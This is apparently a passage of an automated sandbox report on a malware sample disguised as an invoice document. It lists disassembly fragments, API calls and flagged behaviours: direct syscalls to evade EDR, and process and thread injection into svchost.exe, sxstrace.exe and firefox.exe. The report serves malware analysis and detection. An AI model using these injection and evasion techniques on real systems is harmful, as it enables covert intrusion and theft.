                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]2_2_03030BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]2_2_03030BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]2_2_03030BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DEBD0 mov eax, dword ptr fs:[00000030h]2_2_030DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]2_2_03038BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]2_2_03038BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]2_2_03038BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EBFC mov eax, dword ptr fs:[00000030h]2_2_0305EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BCBF0 mov eax, dword ptr fs:[00000030h]2_2_030BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BCA11 mov eax, dword ptr fs:[00000030h]2_2_030BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA24 mov eax, dword ptr fs:[00000030h]2_2_0306CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EA2E mov eax, dword ptr fs:[00000030h]2_2_0305EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]2_2_03054A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]2_2_03054A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA38 mov eax, dword ptr fs:[00000030h]2_2_0306CA38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]2_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]2_2_03040A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]2_2_03040A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]2_2_0306CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]2_2_0306CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]2_2_0306CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DEA60 mov eax, dword ptr fs:[00000030h]2_2_030DEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]2_2_030ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]2_2_030ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]2_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104A80 mov eax, dword ptr fs:[00000030h]2_2_03104A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068A90 mov edx, dword ptr fs:[00000030h]2_2_03068A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]2_2_03038AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]2_2_03038AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086AA4 mov eax, dword ptr fs:[00000030h]2_2_03086AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]2_2_03086ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]2_2_03086ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]2_2_03086ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030AD0 mov eax, dword ptr fs:[00000030h]2_2_03030AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]2_2_03064AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]2_2_03064AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]2_2_0306AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]2_2_0306AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]2_2_030AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]2_2_030AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC912 mov eax, dword ptr fs:[00000030h]2_2_030BC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]2_2_03028918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]2_2_03028918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B892A mov eax, dword ptr fs:[00000030h]2_2_030B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C892B mov eax, dword ptr fs:[00000030h]2_2_030C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B0946 mov eax, dword ptr fs:[00000030h]2_2_030B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104940 mov eax, dword ptr fs:[00000030h]2_2_03104940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]2_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]2_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]2_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]2_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E mov edx, dword ptr fs:[00000030h]2_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]2_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]2_2_030D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]2_2_030D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC97C mov eax, dword ptr fs:[00000030h]2_2_030BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]2_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]2_2_030309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]2_2_030309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B89B3 mov esi, dword ptr fs:[00000030h]2_2_030B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]2_2_030B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]2_2_030B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C69C0 mov eax, dword ptr fs:[00000030h]2_2_030C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]2_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030649D0 mov eax, dword ptr fs:[00000030h]2_2_030649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FA9D3 mov eax, dword ptr fs:[00000030h]2_2_030FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BE9E0 mov eax, dword ptr fs:[00000030h]2_2_030BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]2_2_030629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]2_2_030629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC810 mov eax, dword ptr fs:[00000030h]2_2_030BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov ecx, dword ptr fs:[00000030h]2_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]2_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A830 mov eax, dword ptr fs:[00000030h]2_2_0306A830
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]2_2_030D483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]2_2_030D483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03042840 mov ecx, dword ptr fs:[00000030h]2_2_03042840
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtAllocateVirtualMemory: Direct from: 0x76EF48ECJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtQueryAttributesFile: Direct from: 0x76EF2E6CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtQueryVolumeInformationFile: Direct from: 0x76EF2F2CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtQuerySystemInformation: Direct from: 0x76EF48CCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtOpenSection: Direct from: 0x76EF2E0CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtDeviceIoControlFile: Direct from: 0x76EF2AECJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BECJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtQueryInformationToken: Direct from: 0x76EF2CACJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtCreateFile: Direct from: 0x76EF2FECJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtOpenFile: Direct from: 0x76EF2DCCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtTerminateThread: Direct from: 0x76EF2FCCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtOpenKeyEx: Direct from: 0x76EF2B9CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtSetInformationProcess: Direct from: 0x76EF2C5CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtProtectVirtualMemory: Direct from: 0x76EF2F9CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtWriteVirtualMemory: Direct from: 0x76EF2E3CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtNotifyChangeKey: Direct from: 0x76EF3C2CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtCreateMutant: Direct from: 0x76EF35CCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtResumeThread: Direct from: 0x76EF36ACJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtMapViewOfSection: Direct from: 0x76EF2D1CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtProtectVirtualMemory: Direct from: 0x76EE7B2EJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BFCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtQuerySystemInformation: Direct from: 0x76EF2DFCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtReadFile: Direct from: 0x76EF2ADCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtDelayExecution: Direct from: 0x76EF2DDCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtQueryInformationProcess: Direct from: 0x76EF2C26Jump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtResumeThread: Direct from: 0x76EF2FBCJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtCreateUserProcess: Direct from: 0x76EF371CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtAllocateVirtualMemory: Direct from: 0x76EF3C9CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtWriteVirtualMemory: Direct from: 0x76EF490CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtSetInformationThread: Direct from: 0x76EE63F9Jump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtClose: Direct from: 0x76EF2B6C
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtSetInformationThread: Direct from: 0x76EF2B4CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtReadVirtualMemory: Direct from: 0x76EF2E8CJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeNtCreateKey: Direct from: 0x76EF2C6CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\sxstrace.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: NULL target: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: NULL target: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\sxstrace.exeThread register set: target process: 3920Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\sxstrace.exeThread APC queued: target process: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 395008Jump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe"Jump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeProcess created: C:\Windows\SysWOW64\sxstrace.exe "C:\Windows\SysWOW64\sxstrace.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
